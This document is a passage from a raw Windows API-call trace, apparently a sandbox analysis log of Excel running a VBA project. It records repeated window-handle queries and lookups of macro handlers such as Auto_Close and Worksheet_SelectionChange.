(hWnd=0x10200, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0275.862] IsWindowEnabled (hWnd=0x202b0) returned 1 [0275.862] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0275.862] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0275.862] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0275.863] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0275.863] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0275.863] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0275.863] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0275.863] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0275.863] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0275.863] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0275.863] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0275.863] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0275.863] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0275.863] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0275.863] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd14fe0 [0275.864] IMalloc:Free (This=0x7feffc15380, pv=0xbd14fe0) [0276.231] GetAsyncKeyState (vKey=27) returned 0 [0276.231] GetCurrentThreadId () returned 0x8fc [0276.231] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0276.231] GetDesktopWindow () returned 0x10010 [0276.231] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0276.231] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0276.231] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0276.231] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0276.231] GetWindowLongPtrA (hWnd=0x31021c, nIndex=-6) returned 0x7feef2c0000 [0276.231] GetWindowLongPtrA (hWnd=0x31021c, nIndex=-6) returned 0x7feef2c0000 [0276.231] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0276.231] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0276.231] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0276.231] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0276.232] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0276.232] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0276.232] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0276.232] IsWindowEnabled (hWnd=0x202b0) returned 0 [0276.232] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0276.232] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0276.232] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0276.233] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0276.233] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0276.233] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0276.233] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0276.233] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0276.233] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0276.233] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0276.233] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0276.233] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0276.233] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0276.233] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0276.233] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd18b80 [0276.234] IMalloc:Free (This=0x7feffc15380, pv=0xbd18b80) [0279.439] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000345) returned 0x0 [0279.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0279.440] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0279.440] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0279.440] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0279.451] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0279.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0279.452] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0279.452] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0279.452] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0279.630] GetCurrentThreadId () returned 0x8fc [0279.630] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0279.630] GetDesktopWindow () returned 0x10010 [0279.630] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0279.630] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0279.630] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0279.630] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0279.630] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0279.630] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0279.630] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0279.630] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0279.631] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0279.631] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0279.631] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0279.631] IsWindowEnabled (hWnd=0x202b0) returned 1 [0279.631] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0279.631] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0279.631] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0279.632] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0279.632] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0279.632] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0279.632] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0279.632] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0279.632] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0279.632] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0279.632] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0279.633] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0279.633] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0279.633] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0279.633] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd18cc0 [0279.633] IMalloc:Free (This=0x7feffc15380, pv=0xbd18cc0) [0280.023] GetAsyncKeyState (vKey=27) returned 0 [0280.023] GetCurrentThreadId () returned 0x8fc [0280.023] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0280.023] GetDesktopWindow () returned 0x10010 [0280.023] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0280.023] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0280.023] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0280.024] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0280.024] GetWindowLongPtrA (hWnd=0x33021c, nIndex=-6) returned 0x7feef2c0000 [0280.024] GetWindowLongPtrA (hWnd=0x33021c, nIndex=-6) returned 0x7feef2c0000 [0280.024] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0280.024] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0280.024] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0280.024] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0280.024] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0280.024] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0280.025] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0280.025] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0280.025] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0280.025] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0280.025] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0280.025] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0280.025] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0280.025] IsWindowEnabled (hWnd=0x202b0) returned 0 [0280.025] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0280.025] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0280.025] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0280.025] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0280.025] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0280.025] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0280.026] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0280.026] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0280.026] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0280.026] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0280.026] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0280.026] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0280.026] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0280.027] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0280.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24acd10 [0280.027] IMalloc:Free (This=0x7feffc15380, pv=0x24acd10) [0283.306] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0283.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0283.306] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0283.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=11, lpWideCharStr=0x4f3abf8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0283.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Close", cchWideChar=-1, lpMultiByteStr=0x249e60, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Close", lpUsedDefaultChar=0x0) returned 24 [0283.306] IMalloc:Alloc (This=0x7feffc15380, cb=0x19) returned 0xbe684e0 [0283.306] strncpy_s (in: _Dst=0xbe684e0, _DstSize=0x19, _Src="[VBAProject].Auto_Close", _MaxCount=0x17 | out: _Dst="[VBAProject].Auto_Close") returned 0x0 [0283.306] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0283.306] bsearch (_Key=0x248d78, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0x0 [0283.307] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0283.307] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0283.307] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0283.307] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Close") returned 0x108077 [0283.307] bsearch (_Key=0x248d78, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0x0 [0283.307] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0283.307] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0283.307] IMalloc:Free (This=0x7feffc15380, pv=0xbe684e0) [0283.321] GetCurrentThreadId () returned 0x8fc [0283.321] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0283.321] GetDesktopWindow () returned 0x10010 [0283.321] GetWindowLongPtrA (hWnd=0x35021c, nIndex=-6) returned 0x7fef19a0000 [0283.321] GetWindowLongPtrA (hWnd=0x35021c, nIndex=-6) returned 0x7fef19a0000 [0283.321] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0283.321] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0283.322] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0283.322] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0283.322] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0283.322] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0283.322] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0283.322] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0283.322] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0283.323] IsWindowEnabled (hWnd=0x202b0) returned 1 [0283.323] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0283.323] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0283.323] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0283.323] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0283.323] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0283.323] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0283.323] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0283.323] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0283.323] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0283.323] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0283.323] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0283.323] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0283.324] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0283.324] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0283.324] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x71e7b30 [0283.324] IMalloc:Free (This=0x7feffc15380, pv=0x71e7b30) [0283.634] GetAsyncKeyState (vKey=27) returned 0 [0283.634] GetCurrentThreadId () returned 0x8fc [0283.634] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0283.634] GetDesktopWindow () returned 0x10010 [0283.634] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0283.634] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0283.634] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0283.634] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0283.634] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0283.634] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0283.635] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0283.635] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0283.635] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0283.635] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0283.636] IsWindowEnabled (hWnd=0x202b0) returned 0 [0283.636] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0283.636] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0283.636] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0283.636] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0283.636] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0283.636] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0283.636] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0283.636] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA 